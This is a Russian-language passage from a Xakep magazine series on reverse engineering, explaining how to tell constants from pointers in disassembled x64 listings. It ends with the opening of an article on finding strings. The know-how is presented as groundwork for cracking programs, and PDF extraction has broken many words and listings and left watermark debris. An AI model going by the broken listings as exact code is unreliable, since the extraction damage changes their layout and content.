но приняв ее за указатель ? Программа откажет или станет работать некор ректно . Допустим , число 0x401020 выражало собой объем бассей на , в который вода втекает через одну трубу , а вытекает через другую . Если заменить констан ту указате лем , то объем бассей на станет равен... сме щению метки в заново ассембли рован ной программе и все расчеты полетят к черту .
Таким образом , очень важно определить типы всех непосредс твен ных операн дов , и еще важнее определить их правиль но . Одна ошибка может сто ить программе жизни (в смысле работоспособ ности ), а в типичной прог рамме тысячи и десятки тысяч операн дов !
Отсюда возника ет два вопроса :
•Как вообще определя ют типы операн дов?
•Можно ли их определять автомати чески (или на худой конец хотя бы полу автомати чески)?
Типы операн дов
Определение типа непосредственного операнда
Непос редс твен ный операнд команды LEA всегда указатель (исключение сос тавляют ассемблер ные «извращения »: чтобы сбить хакеров с толку , в некото рых защитах LEA используют ся для загрузки констан ты ).
Непос редственные операн ды команд MOV и PUSH могут быть как констан тами, так и указате лями. Чтобы определить тип непосредс твенного операн да, необходимо проана лизировать, как использует ся его значение в программе . Для косвенной адресации памяти — это указатель , в против ном случае — констан та.
Например , мы встретили в тексте программы команду MOV EAX, 0x401020. Что это такое: констан та или указатель ?
Типы адресаций
Ответ на вопрос дает строка MOV ECX, [EAX], подска зыва ющая , что зна чение 0x401020 использует ся для косвенной адресации памяти. Следова тельно , непосредс твен ный операнд не что иное, как указатель .
Сущес тву ет два типа указате лей — указате ли на данные и указате ли на функцию . Указате ли на данные используют ся для извлечения значения ячейки памяти и встречают ся в арифметичес ких командах и командах пересылки (например , MOV, ADD, SUB). Указате ли на функцию используют ся в командах косвенно го вызова и реже в командах косвенно го перехода — CALL и JMP соответс твен но .
Следующий пример (const_pointers_cb) откомпилируй с помощью C++Builder. В нем мы изучим разницу между констан тами и указате лями:
int _tmain(int argc, _TCHAR* argv[])
{
static int a = 0x777;
int* b = &a;
int c = b[0];
}
Резуль тат компиляции должен выглядеть приблизитель но так:
main |
proc near |
|
var_1C |
= dword ptr -1Ch |
|
var_18 |
= qword ptr -18h |
|
var_10 |
= qword ptr -10h |
|
var_8 |
= dword ptr -8 |
|
var_4 |
= dword ptr -4 |
|
; Открытие кадра стека |
|
|
|
push |
rbp |
; |
Выделение 0x20 байт для |
локальных переменных |
||
|
sub |
rsp, |
20h |
|
; |
Кадр стека указывает на |
дно стека |
||
|
lea |
rbp, |
[rsp+20h] |
Название смещения unk_451110 говорит о том, что значение по адресу 451110 имеет неопределен ный тип.
Перей дем по нему и посмотрим , что там находится .
Так как число 0x777 не умещает ся в одном байте , компилятор разместил его в двух байтах . Следова тель но , в RAX помещается ссылка на это число .
lea |
rax, unk_451110 |
Хотя IDA предста вила данные программы так, как их пригото вил компилятор , мы уже самостоятель но определи ли, что по смещению unk_451110 находится число , занимающее больше одного байта . Поэтому мы можем помочь IDA правиль но отобразить данные . Для этого , перейдя по смещению , надо нажать клавишу с английской o, что соответс твует команде : Edit → Operand Type → Ofset → Ofset (data segment). В результате смещение будет переиме
новано , а значение , на которое оно указыва ет, примет благород ный вид: 777h. Кроме того, команда преобра зования неопределен ных байтов в дан ные с db (один байт) изменит ся на dq (восемь байт).
Инициали зация локальных переменных :
mov |
[rbp+var_4], |
0 |
mov |
[rbp+var_8], |
ecx |
mov |
[rbp+var_10], rdx |
В RAX расположе |
на ссылка на значение |
, она копируется |
в переменную |
|||||
var_18. Посколь |
ку значение |
по ссылке unk_451110 находится в сегменте |
||||||
данных , можно сделать |
вывод, что var_18 — статичес |
кая переменная . |
||||||
mov |
[rbp+var_18], rax |
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
Копиру ем ссылку на переменную в памяти и таким образом получаем воз можность изменить ссылку , но не значение .
mov rax, [rbp+var_18]
Загружа |
ем содержимое |
локальной переменной var_18 в регистр ECX. Отсю |
||||
да можно сделать |
вывод, что в RAX все таки указатель |
. Тогда локальная |
||||
переменная var_18 тоже указатель |
! |
|
|
|||
mov |
ecx, [rax] |
|
|
|
|
|
|
|
|
|
|
|
|
Присваиваем локальной переменной var_1C значение , содержаще еся в ECX. А там хранит ся указатель на 0x777.
|
mov |
[rbp+var_1C], ecx |
|
mov |
[rbp+var_4], 0 |
|
||
; Функция возвращает ноль |
||
|
mov |
eax, [rbp+var_4] |
; Очищаем стек |
|
|
|
add |
rsp, 20h |
; Закрываем кадр стека |
|
|
|
pop |
rbp |
|
retn |
|
main |
endp |
|
Черт ногу сломит с этими указате лями! Теперь рассмот рим пример func_pointers_cb с косвенным вызовом функции (также скомпилиро ванный с помощью C++Builder):
int func(int a, int b)
{
return a + b;
}
int _tmain(int argc, _TCHAR* argv[])
{
int (*zzz) (int a, int b) = func;
// Вызов функции происходит косвенно — по указателю zzz
zzz(0x666, 0x777);
return 0;
}
Резуль тат компиляции должен выглядеть приблизитель но так:
main |
proc near |
|
var_1C |
= dword |
ptr -1Ch |
var_18 |
= qword |
ptr -18h |
var_10 |
= qword |
ptr -10h |
var_8 |
= dword |
ptr -8 |
var_4 |
= dword |
ptr -4 |
; Открываем кадр стека |
|
|
|
push |
rbp |
; Выделяем 0x40 |
под локальные переменные |
|
|
sub |
rsp, 40h |
; Указатель кадра стека |
|
|
|
lea |
rbp, [rsp+40h] |
; В EAX заносим |
значение 0x666, пока непонятно для чего, но явно не |
|
для передачи |
|
|
|
mov |
eax, 666h |
; В R8D заносим |
значение 0x777 |
|
|
mov |
r8d, 777h |
; Смотри! В R9 заносим указатель на функцию |
||
|
lea |
r9, func(int,int) |
; Инициализируем локальные переменные |
||
|
mov |
[rbp+var_4], 0 |
|
mov |
[rbp+var_8], ecx |
|
mov |
[rbp+var_10], rdx |
; В var_18 помещаем указатель на функцию func |
||
|
mov |
[rbp+var_18], r9 |
; Теперь ECX равна 0x666 |
|
|
|
mov |
ecx, eax |
; а EDX — 0x777, регистры загружены и готовы для передачи параметров
|
mov |
edx, r8d |
; Погляди-ка! Косвенный |
вызов функции! |
|
|
call |
[rbp+var_18] |
|
mov |
[rbp+var_4], 0 |
|
mov |
[rbp+var_1C], eax |
|
mov |
eax, [rbp+var_4] |
; Очищаем стек |
|
|
|
add |
rsp, 40h |
; Восстанавливаем регистр |
||
|
pop |
rbp |
|
retn |
|
main |
endp |
|
А вот и косвенно вызываемая функция func. Исследуем ее, чтобы определить тип передаваемых ей непосредс твен ных значений .
func(int, int) |
proc near |
||
var_C |
= dword ptr -0Ch |
||
var_8 |
= |
dword |
ptr -8 |
var_4 |
= |
dword |
ptr -4 |
IDA не определи ла аргумен ты , но мы то знаем , что они есть! Сейчас , когда параметры всегда передаются через регистры , различие между аргумен тами и локальными переменными — чистая формаль ность .
; Открываем кадр стека
|
push |
rbp |
; |
Выделяем память для содержимого стека |
|
|
sub |
rsp, 10h |
; |
Кадр стека указывает на дно стека |
|
|
lea |
rbp, [rsp+10h] |
Присваиваем значение переменной var_4, учитывая , что в регистре ECX передается параметр, var_4 — аргумент :
mov |
[rbp+var_4], ecx |
Присваиваем значение переменной var_8, учитывая , что в регистре EDX передается параметр, var_8 — аргумент :
mov |
[rbp+var_8], edx |
|
|
; В ECX размещаем первое слагаемое |
|
mov |
ecx, [rbp+var_4] |
; Выполняем сложение с переменной, записывая сумму на место первого
слагаемого
add ecx, [rbp+var_8]
; Значение суммы копируем в переменную var_C
mov |
[rbp+var_C], ecx |
; В качестве результата |
возвращаем сумму |
mov |
eax, [rbp+var_C] |
; Удаляем содержимое стека |
|
add |
rsp, 10h |
; Закрываем кадр стека |
|
pop |
rbp |
retn |
|
func(int, int) endp |
|
Сложные случаи адресации или математические операции с указателями
C/C++ и некоторые другие языки программи рования допускают выполнение
над указате лями различных арифметичес ких операций , чем серьезно зат рудняют идентифика цию типов непосредс твен ных операн дов . В самом деле, если бы такие операции с указате лями были запрещены , то любая матема тическая инструк ция , манипулиру ющая с непосредс твен ным операн дом , однозначно указыва ла бы на его константный тип.
К счастью, даже в тех языках , где это разрешено , над указате лями выпол няется ограничен ное число математичес ких операций . Так, совершенно бес смысленно сложение двух указате лей, а уж тем более умножение или деление их друг на друга . Вычитание — дело другое . Используя тот факт,
что компилятор располага ет функции в памяти согласно порядку их объявле ния в программе , можно вычислить размер функции , отнимая ее указатель от указате ля на следующую функцию . Такой трюк встречает ся в упаков щиках
(распаков щиках) исполняемых файлов , защитах с самомодифи цирующимся кодом, но в прикладных программах использует ся редко .
Исполь зование вычитания указате лей для вычисления размера функции (структуры данных )
Продолжение статьи0 →
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|
|||
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
||||||
|
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
c |
|
|
|
|
|
||
|
p |
df |
|
|
|
|
e |
|
|||
|
-x |
|
|
g |
|
|
|
||||
|
|
|
n |
|
|
|
|
||||
|
|
|
ha |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
|
X |
|
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
|||
|
|
F |
|
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|
|||||
← |
|
|
|
|
|
|
|
|
||||
w |
|
|
|
|
|
|
|
|
|
m |
||
|
0НАЧАЛО СТАТЬИw Click |
to |
BUY |
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
||
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
c |
|
|
|
.c |
|
||
|
|
|
p |
df |
|
|
|
e |
|
|||
|
|
|
|
|
|
g |
|
|
|
|||
|
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
|
|
-x ha |
|
|
|
|
|
КАК ИСКАТЬ ОПЕРАНДЫ ПРИ ВЗЛОМЕ ПРОГРАММ
Сказан ное |
|
выше относилось |
к случаям |
«указатель |
+ указатель |
». Между тем |
|||||||||||||||||||||||||||||||||||||||||||
указатель |
может сочетаться и с констан |
той . Причем такое сочетание настоль |
|||||||||||||||||||||||||||||||||||||||||||||||
ко популярно , что процес соры |
серии 80x86 даже поддержи |
вают |
для этого |
||||||||||||||||||||||||||||||||||||||||||||||
специаль |
ную |
адресацию |
— |
базовую |
. Пусть, к примеру |
, имеется |
указатель |
||||||||||||||||||||||||||||||||||||||||||
на массив и индекс некоторого |
элемен та массива |
. Очевид но : чтобы получить |
|||||||||||||||||||||||||||||||||||||||||||||||
значение |
|
этого элемен та , необходимо |
сложить |
указатель |
с индексом, умно |
||||||||||||||||||||||||||||||||||||||||||||
женным |
на размер |
элемен та . |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||
Вычита ние констан |
ты из указате ля встречает ся гораздо реже: этому соот |
||||||||||||||||||||||||||||||||||||||||||||||||
ветству ет меньший |
круг задач, и сами программис |
ты |
избегают |
вычитания , |
|||||||||||||||||||||||||||||||||||||||||||||
посколь |
ку оно нередко приводит |
к серьезным |
проблемам |
. Среди новичков |
|||||||||||||||||||||||||||||||||||||||||||||
популярен |
|
следующий |
прием : если им требует |
ся массив , начинающий |
ся |
||||||||||||||||||||||||||||||||||||||||||||
с единицы |
, они, объявив |
|
обычный |
массив , получают на него указатель |
и... |
||||||||||||||||||||||||||||||||||||||||||||
уменьшают |
его на единицу |
! Элеган тно , не правда ли? |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||||||||||||||
Но подумай, что произой |
дет , если указатель |
на массив будет равен нулю. |
|||||||||||||||||||||||||||||||||||||||||||||||
Правиль |
но , змея укусит |
свой хвост — указатель |
|
станет |
очень большим |
||||||||||||||||||||||||||||||||||||||||||||
положитель ным |
числом . Вообще то под Windows NT массив гарантирован |
но |
|||||||||||||||||||||||||||||||||||||||||||||||
не может быть размещен |
по нулевому смещению |
, но не стоит привыкать |
|||||||||||||||||||||||||||||||||||||||||||||||
к трюкам , привязан |
ным |
к одной платформе |
и не работающим |
на других . |
|
|
|
||||||||||||||||||||||||||||||||||||||||||
«Нормаль |
ные » языки |
программи |
рова |
ния |
запреща |
ют смешение |
типов, |
||||||||||||||||||||||||||||||||||||||||||
и правиль |
но делают . Существу ет и еще одна фундамен |
таль ная |
|
проблема |
|||||||||||||||||||||||||||||||||||||||||||||
дизассем бли рова |
ния |
|
— определе |
ние |
типов в комбиниро |
ван ных |
|||||||||||||||||||||||||||||||||||||||||||
выражениях |
. Рассмот |
рим |
следующий |
пример : |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
MOV EAX, 0x...
MOV EBX, 0x...
ADD EAX, EBX
MOV ECX, [EAX]
Сумма двух непосредс твен ных значений здесь использует ся для косвенной адресации . Ну, положим, оба они указате лями быть не могут, исходя из самых общих соображений . Наверняка одно из непосредс твен ных значений — ука затель на массив (структуру данных , объект ), а другое — индекс в этом мас сиве. Для сохранения работоспособ ности программы указатель необходимо заменить смещени ем метки , а вот индекс придет ся оставить без изменений (ведь индекс — это констан та ).
Как же различить , что есть что? Увы, нет универ саль ного ответа , а в кон тексте приведен ного выше примера это и вовсе невозможно !
Рассмот рим следующий пример , демонстри рующий определе ние типов в комбиниро ванных выражениях (combined_exp_types):
void MyFunc(char* a, int i)
{
a[i] = '\n';
a[i + 1] = 0;
}
int main()
{
static char buff[] = "Hello,Sailor!";
MyFunc(&buff[0], 5);
}
Резуль тат компиляции с помощью Microsoft Visual C++ должен выглядеть так:
main |
proc near |
|
|
; Выделение памяти для локальных |
переменных |
||
|
sub |
rsp, 28h |
|
; Определяем смещение — указатель на элемент в массиве |
|||
|
mov |
eax, 1 |
|
|
imul |
rax, 0 |
|
; В регистр RCX загружаем указатель на строку |
|||
|
lea |
rcx, buff |
; "Hello, Sailor!" |
|
add |
rcx, rax |
|
; Указатель на строку копируется |
в RAX |
||
|
mov |
rax, rcx |
|
;Подготовка параметров:
;в регистр EDX помещается число 5 — второй параметр
|
mov |
|
|
edx, |
5 |
|
|
; i |
|
|
|
|
|
|
|
|||
; указатель на строку вновь копируется в RCX — первый параметр |
|
|
||||||||||||||||
|
mov |
|
|
rcx, |
rax |
|
|
; a |
|
|
|
|
|
|
|
|||
; Параметры укомплектованы — |
вызываем функцию |
|
|
|
|
|
|
|||||||||||
|
call |
|
|
MyFunc(char *,int) |
|
|
|
|
|
|
|
|||||||
; Функция возвращает ноль |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
|
xor |
|
|
eax, |
eax |
|
|
|
|
|
|
|
|
|
|
|
||
; Очистка стека |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
add |
|
|
rsp, |
28h |
|
|
|
|
|
|
|
|
|
|
|
||
|
retn |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
main |
endp |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Мы можем с полной |
уверен ностью |
сказать |
, где какой параметр, только |
|||||||||||||||
в наших искусствен |
ных примерах |
. При изучении |
чужих программок |
такой уве |
||||||||||||||
ренности |
, к сожалению , не будет. Поэтому , рассмат |
ривая |
параметры в фун |
|||||||||||||||
кции ниже, мы, по идее, должны |
видеть их как два числовых |
аргумен та . |
||||||||||||||||
И наша задача разобрать |
ся , представ |
ляют |
ли они констан |
ты или указате |
ли . |
|||||||||||||
void MyFunc(char *, int) proc near |
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
; Два параметра — все верно |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
arg_0 |
= qword |
ptr |
8 |
|
|
|
|
|
|
|
|
|
|
|
||||
arg_8 |
= dword |
ptr |
10h |
|
|
|
|
|
|
|
|
|
|
|
||||
; Перенос значений параметров из регистров в память |
|
|
|
|
|
|||||||||||||
|
mov |
|
|
[rsp+arg_8], edx ; Число 5 |
|
|
|
|
|
|||||||||
|
mov |
|
|
[rsp+arg_0], rcx ; Указатель на строку |
|
|
||||||||||||
; Копирование двойного слова |
со знаком в четверное |
|
|
|
|
|
||||||||||||
|
movsxd |
|
rax, |
[rsp+arg_8] |
|
|
|
|
|
|
|
|
||||||
; Копирование четверного слова в четверное |
|
|
|
|
|
|
|
|||||||||||
|
mov |
|
|
rcx, |
[rsp+arg_0] |
|
|
|
|
|
|
|
|
Сумма непосредс твен ных значений использует ся для косвенной адресации памяти, значит , это констан та и указатель . Но кто есть кто?
mov |
byte ptr [rcx+rax], 0Ah |
Для ответа на этот вопрос нам необходимо понять смысл кода программы — чего же добивался программист сложени ем указате лей ? Предположим , что значение 5 — указатель . Логично ? Да вот не очень то логично : если это ука затель, то указатель на что?
Первые 64 килобайта адресного пространс тва Windows NT заблокиро ваны для «отлавливания » нулевых и неинициали зиро ван ных указате лей . Ясно, что
равным пяти указатель быть никак не может, разве что программист исполь зовал какой нибудь очень извращен ный трюк. А если указатель 0x140003038 (фактичес кий адрес buff)? Выглядит правдоподоб ным легальным смещени
ем...
Кстати , что там у нас расположе но? Секундочку ...
.data:0000000140003038 buff |
db 'Hello, Sailor!',00 |
Теперь все сходит ся — функции передан указатель на строку "Hello, Sailor!" (значение 0x140003038) и индекс символа этой строки (значение 5). Функция сложила указатель со строкой и записала в полученную ячейку символ "\n".
Следующая инструк ция заносит значение аргумен та arg_8 в регистр EAX. Как мы установи ли , это констан та :
mov |
eax, [rsp+arg_8] |
|
|
|
|
; Инкрементируем значение в |
EAX на 1 |
|
inc |
eax |
|
; Преобразуем двойное слово |
(значение в EAX) в четверное слово ( |
|
значение в RAX) |
|
|
cdqe |
|
|
;Помещаем в RCX значение аргумента arg_0
;Как мы выяснили, оно представляет собой указатель на строку
mov |
rcx, [rsp+arg_0] |
Сумма RCX и RAX использует ся для косвенной адресации памяти, точнее кос венно базовой, так как к указате лю прибав ляет ся еще и единица . В эту ячейку памяти заносится ноль. Другими словами , мы прописы ваем ноль за сим волом "\n".
mov |
byte ptr [rcx+rax], 0 |
retn |
|
void MyFunc(char *, int) endp
Наши |
предположе |
ния |
подтвер |
дились |
— функции |
передаются |
указатель |
|||||
на строку и индекс первого |
«отсекаемо |
го » символа |
строки . А теперь ском |
|||||||||
пилируем тот же |
самый |
пример |
компилято |
ром |
Embarcadero |
C++Builder |
||||||
и сравним , чем он отличает |
ся от Microsoft Visual C++: |
|
|
; int __cdecl main(int argc, const char **argv, const char **envp)
public main
main |
proc near |
; DATA XREF: __acrtused+29↑o |
||
var_10 |
= qword |
ptr -10h |
|
|
var_8 |
= dword |
ptr -8 |
|
|
var_4 |
= dword |
ptr -4 |
|
|
; Открытие кадра стека |
|
|
||
|
push |
|
rbp |
|
; Выделение 0х30 байт памяти для локальных переменных |
||||
|
sub |
|
rsp, 30h |
|
; Копирование в |
RBP |
указателя на дно стека, ибо после вычитания |
||
получилась вершина, |
|
|
|
|
; а после сложения — дно |
|
|
||
|
lea |
|
rbp, [rsp+30h] |
|
; В RAX — указатель |
на строку |
|
||
|
lea |
|
rax, aHelloSailor ; "Hello, Sailor!" |
|
; В R8D — значение 5 |
|
|
|
|
|
mov |
|
r8d, 5 |
|
; Инициализация |
локальных переменных... |
|
||
|
mov |
|
[rbp+var_4], 0 |
|
; ...перебрасываем содержимое регистров в память |
||||
|
mov |
|
[rbp+var_8], ecx |
|
|
mov |
|
[rbp+var_10], rdx |
|
; Готовим параметры |
для |
передачи: |
|
|
; в RCX копируем указатель на строку... |
|
|||
|
mov |
|
rcx, rax |
|
; ...в EDX — значение 5 |
|
|
||
|
mov |
|
edx, r8d |
|
; Вызов функции |
вместе с передачей параметров |
|||
|
call |
|
MyFunc(char *,int) |
|
|
mov |
|
[rbp+var_4], 0 |
|
; Обнуляем EAX для возвращения нуля |
|
|||
|
mov |
|
eax, [rbp+var_4] |
|
; Очищаем стек |
|
|
|
|
|
add |
|
rsp, 30h |
|
; Закрываем кадр стека |
|
|
||
|
pop |
|
rbp |
|
|
retn |
|
|
|
main |
endp |
|
|
|
|
|
|||
; __int64 __fastcall MyFunc(char *, int) |
|
|||
|
public MyFunc(char *, int) |
|||
MyFunc(char *, int) |
proc near |
; CODE XREF: main+2B↓p |
||
var_C |
= dword |
ptr -0Ch |
|
|
var_8 |
= qword |
ptr -8 |
|
|
; Открытие кадра стека |
|
|
||
|
push |
|
rbp |
|
; Выделение памяти |
|
|
|
|
|
sub |
|
rsp, 10h |
|
; Указатель кадра стека |
|
|
||
|
lea |
|
rbp, [rsp+10h] |
|
; Принятые параметры размещаем в локальных переменных |
||||
|
mov |
|
[rbp+var_8], rcx |
|
|
mov |
|
[rbp+var_C], edx |
|
; Первый параметр возвращаем в RCX |
|
|||
|
mov |
|
rcx, [rbp+var_8] |
|
; Копирование двойного слова со знаком в четверное |
||||
|
movsxd |
rax, [rbp+var_C] |
|
Сумма непосредс твенных значений использует ся для косвенной адресации памяти. Этот прием мы уже проходи ли, разбирая дизассем блерный листинг
от Visual C++. Однако вопрос все тот же: как понять, где констан та, а где ука затель? Как и в предыду щем случае , необходимо проана лизировать их зна чения.
mov |
byte ptr [rcx+rax], 0Ah |
|
; Копирование значений из локальных переменных в регистры |
||
mov |
rax, |
[rbp+var_8] |
mov |
edx, |
[rbp+var_C] |
; |
Увеличение var_C на 1, а Visual C++ в этом месте использовал |
||
инструкцию inc |
|
|
|
|
add |
edx, |
1 |
; |
Копирование двойного слова |
со знаком в четверное |
|
|
movsxd |
rcx, |
edx |
; Снова косвенная адресация памяти, чтобы поставить после символа
новой строки "\n" 0
mov |
byte ptr [rax+rcx], 0 |
; Восстановление стека |
|
add |
rsp, 10h |
; Закрытие кадра стека |
|
pop |
rbp |
retn |
|
MyFunc(char *, int) endp
По сравнению с листингом от Visual C++ листинг от C++Builder имеет минимальные различия . Раньше было не так... Даже не знаю, радоваться это му или огорчать ся.
Порядок индексов и указателей
Открою маленький секрет : при сложении указате ля с констан той большинс тво компилято ров на первое место помещают указатель , а на второе — кон станту , каким бы ни было их расположе ние в исходной программе . Иначе говоря, выражения a[i], (a+i)[0], *(a+i) и *(i+a) компилиру ются в один и тот же код! Даже если извратить ся и написать так: (0)[i+a], компилятор
все равно выдвинет a на первое место . Что это — ослиное упрямство , игра случая или фича? Ответ до смешного прост — сложение указате ля с констан той дает указатель ! Поэтому результат вычислений всегда записывает ся в переменную типа «указатель ».
Вернемся к последне му рассмот ренному примеру (combined_exp_types_cb), применив для анализа наше новое правило :
; Копирование значений из локальных переменных в регистры
mov |
rax, |
[rbp+var_8] |
; В RAX теперь указатель на |
строку |
|
|
|
mov |
edx, |
[rbp+var_C] |
|
; |
Увеличение var_C на 1, а там (следовательно, теперь в регистре) |
||
значение 5 |
|
|
|
|
add |
edx, |
1 |
; |
Копирование двойного слова |
со знаком в четверное |
|
|
movsxd |
rcx, |
edx ; теперь значение 6 в RCX |
Сложение RAX и RCX. Операция сложения указыва ет на то, что по крайней мере один из них констан та , а другой — либо констан та , либо указатель .
mov |
byte ptr [rax+rcx], 0 |
Ага! Сумма непосредс твен ных значений использует ся для косвенной адре сации памяти, значит , это констан та и указатель . Но кто из них кто? С боль шой степенью вероятности RAX — указатель (так оно и есть), посколь ку он стоит на первом месте , а RCX — индекс, так как он стоит на втором !
Использование LEA для сложения констант
Инструк ция LEA широко использует ся компилято рами не только для ини циализации указате лей, но и для сложения констант . Посколь ку внутренне представ ление констант и указате лей идентично , результат сложения двух указате лей идентичен сумме тождес твенных им констант . То есть LEA EBX, [ EBX+0x666] == ADD EBX, 0x666, однако по своим функци ональным воз можностям LEA значитель но обгоняет ADD. Вот, например , LEA ESI, [ EAX*4+EBP-0x20], попробуй то же самое «скормить » инструк ции ADD!
Встретив в тексте программы команду LEA, не торопись навешивать
на возвра щенное ею значение ярлык «указатель »: с не меньшим успехом он может оказать ся и констан той! Если «подозрева емый» ни разу не использует ся в выражении косвенной адресации — никакой это не указатель , а самая настоящая констан та!
«Визуальная» идентификация констант и указателей
Вот несколь ко приемов , помогающих отличить указате ли от констант .
1.В 64-разрядных Windows-программах указате ли могут принимать огра ниченный диапазон значений . Доступный процес сорам регион адресного пространс тва начинается со смещения 0
0x00000000 00010000 и простира ется до смещения 0x000003FF FFFFFFFF. Поэтому все непосредс твенные значения , меньшие
0x00000000 00010000 и большие 0x000003FF FFFFFFFF, представ ляют собой констан ты, а не указате ли. Исключение составля ет число ноль, обознача ющее нулевой указатель . Некоторые защитные механизмы непосредс твенно обращают ся к коду операци онной системы , рас положенному выше адреса 0x000003FF FFFFFFFF, где начинаются вла дения ядра.
2.Если непосредс твенное значение смахива ет на указатель , посмотри , на что он указыва ет. Если по данному смещению находится пролог фун кции или осмысленная тексто вая строка , скорее всего , мы имеем дело с указате лем, хотя, может быть, это всего лишь совпадение .
3.Загляни в таблицу перемещаемых элемен тов. Если адрес «подследс твен ного» непосредс твенного значения есть в таблице , это, несомненно , ука затель. Беда в том, что большинс тво исполняемых файлов неперемеща емы и такой прием актуален лишь для исследова ния DLL (а DLL переме щаемы по определе нию).
Кслову сказать , дизассем блер IDA Pro использует все три описан ных спо соба для автомати ческого опознавания указате лей.
ЗАКЛЮЧЕНИЕ |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
Как мы увидели |
выше, правиль |
ное |
определе |
ние |
констант |
и смещений |
|||||||||||||
зависит от многих фундамен |
таль ных факторов |
: от операци |
онной |
системы |
, ее |
||||||||||||||
разряднос |
ти , даже от языка ассембле ра , в котором отражает |
ся процес |
|||||||||||||||||
сорная архитек тура ! Эти понятия составля |
ют |
основу |
любой |
|
программы |
. |
|||||||||||||
А рассмот |
ренные |
в статье примеры |
показали |
важность |
их правиль |
ной иден |
|||||||||||||
тификации . |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|
|||
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
||
P |
|
|
|
|
|
NOW! |
o |
|
|
||
|
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
|
|||||
|
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
c |
|
|
|
.c |
|
|
||
|
. |
|
|
|
|
|
|
|
|||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
df |
-x |
|
n |
e |
|
|
|||
|
|
|
ha |
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
Крис Касперски
Известный российский хакер. Легенда ][, ex-
редактор ВЗЛОМа. Также известен под псевдонимами
мыщъх, nezumi (яп. , мышь), n2k, elraton, souriz, tikus, muss, farah, jardon, KPNC.
ИЩЕМ ТЕСТОВЫЕ СТРОКИ
В ЧУЖОЙ ПРОГРАММЕ
Юрий Язев
Широко известен под псевдонимом yurembo.
Программист, разработчик видеоигр, независимый исследователь. Старый автор журнала «Хакер». yazevsoft@gmail.com
Когда изучаешь дизассем блированный листинг программы в целях понять, как она работает , очень часто нужно отыс
кать в ней строки . В сегодняшней статье мы рассмот рим, какие типы строк существу ют, из каких символов они могут состоять , какого размера бывают символы и чем отличает ся строка от простого набора байтов . Еще мы обсудим хра нение, передачу и обработ ку строк разными компилято рами.
Пятнадцать лет назад эпичес кий труд Криса Каспер ски «Фундамен тальные основы хакерства » был настоль ной книгой каждого начинающе го исследова теля в области компьютер ной безопасности . Однако время идет, и знания , опубликован ные Крисом , теряют актуаль ность. Редакторы «Хакера» попыта лись обновить этот объемный труд и перенести его из времен Windows 2000 и Visual Studio 6.0 во времена Windows 10 и Visual Studio 2019.
Ссылки на другие статьи из этого цикла ищи на странице автора .
Казалось бы, что может быть сложного в идентифика ции строк? Если то, на что ссылает ся указатель , выглядит как строка , это и есть строка ! Более того, в подавляющем большинс тве случаев строки обнаружи ваются и иден тифицируют ся тривиаль ным просмотром дампа программы (при условии , конечно , что они не зашифрованы , но шифрование — тема отдельного раз говора). Так то оно так, да не все столь просто !
